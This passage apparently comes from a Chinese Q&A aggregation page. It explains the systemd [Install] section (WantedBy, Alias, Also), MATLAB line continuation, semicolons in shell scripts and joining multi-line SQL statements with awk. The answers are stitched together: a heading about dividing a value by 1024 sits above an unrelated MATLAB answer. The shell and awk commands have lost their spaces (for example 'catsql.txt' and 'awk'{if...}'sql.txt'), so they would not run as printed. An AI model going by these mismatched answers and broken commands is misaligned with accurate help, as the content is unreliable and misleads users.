這里說的是一種內部狀態,默認你放對位置它顯示的是 disabled,unloaded,所以我們要在 Systemd 內部對它進行一下 load,沒人要的東西是不需要安裝的(我們不收渣渣),所以我們要告訴 Systemd 它是有人要的,被誰要。一般都是被
[Install]
WantedBy=multi-user.target
要(multi-user.target 表示多用戶系統好了,簡單理解就是你可以登入了)。這樣在 multi-user.target 啟用時,我們的服務也就會被啟用了。
[Install] 部分下除了 WantedBy 還有兩種屬性,分別是:
Alias= 給你自己的別名,這樣 systemctl command xxx.service 的時候就可以不輸入完整的單元名稱。比如你給 NetworkManager 一個別名叫 Alias=nm,那你就可以 systemctl status nm.service 查看實際是 NetworkManager.service 的服務了。
Also= 安裝本服務的時候還要安裝別的什麼服務。比如我們的 He.net 腳本按理應該需要一個 iproute2.service 作為 also,但是 iproute2 實際上不需要 systemd 控制,所以就沒寫。它和 [Unit] 定義裡面的依賴關系相比,它管理的不是運行時依賴,而是安裝時。安裝好了之後啟動誰先誰後,誰依賴誰,和 Also= 都沒有關系。

㈧ 怎麼寫腳本命令行取值除以1024

三個點前要有一個空格,這樣matlab才能把識別成換行符號;另外,這幾種換行操作有區別:(1),起到連接兩行的目的,也就是說,實際上是一個命令分開寫而已,比如a=1+2+3結果會是a=6。(2)shift+enter,表示暫不計算,直到按enter之後,再逐個命令運行,比如還是上面那個例子,輸完a=1+2後按shift+enter,在第二行輸入+3,計算的結果是a的值變為3,同時得到默認的結果變數ans=3(那個+3的命令);換句話說,他們之間毫無關系。按你的要求,應該是指依次運行兩個命令吧?shift+enter應該是可以的,但三個點兒也可以用:userpath("F:\MATLAB\R2010a\bin"),savepath注意因為是兩個獨立的命令,所以第二行前面要有分隔符號(比如逗號、分號),上面的寫法相當於userpath("F:\MATLAB\R2010a\bin"),savepath

㈨ shell腳本中每條命令需要以分號;結尾嗎if語句後需要加分號嗎

分號是多個語句之間的分割符號,當只有一個語句的時候,末尾無需分號,最後一個語句後面也無需分號。

㈩ shell腳本如何將文件多行根據分號拼接為一行

Hello,這個題目如果是linux必須要用linux三劍客了.

[root@g01files]#catsql.txt
createtabletest.two
(
pnvarchar(10)notnull
);
createtabletest.aa
(
pnvarchar(10)notnull
);
createtabletest.bb
(
pnvarchar(10)notnull
);
createtabletest.ccc
(
pnvarchar(10)notnull
);

方法1
[root@g01files]#awk'{if(/);/)print;elseprintf$0" "}'sql.txt
createtabletest.two(pnvarchar(10)notnull);
createtabletest.aa(pnvarchar(10)notnull);
createtabletest.bb(pnvarchar(10)notnull);
createtabletest.ccc(pnvarchar(10)notnull);

方法2
[root@oldboye-show01/server/files]#awk-vRS=");"-F" "'{print$1,$2,$3,$4,RT}'sql.txt
createtabletest.two(pnvarchar(10)notnull);
createtabletest.aa(pnvarchar(10)notnull);
createtabletest.bb(pnvarchar(10)notnull);
createtabletest.ccc(pnvarchar(10)notnull);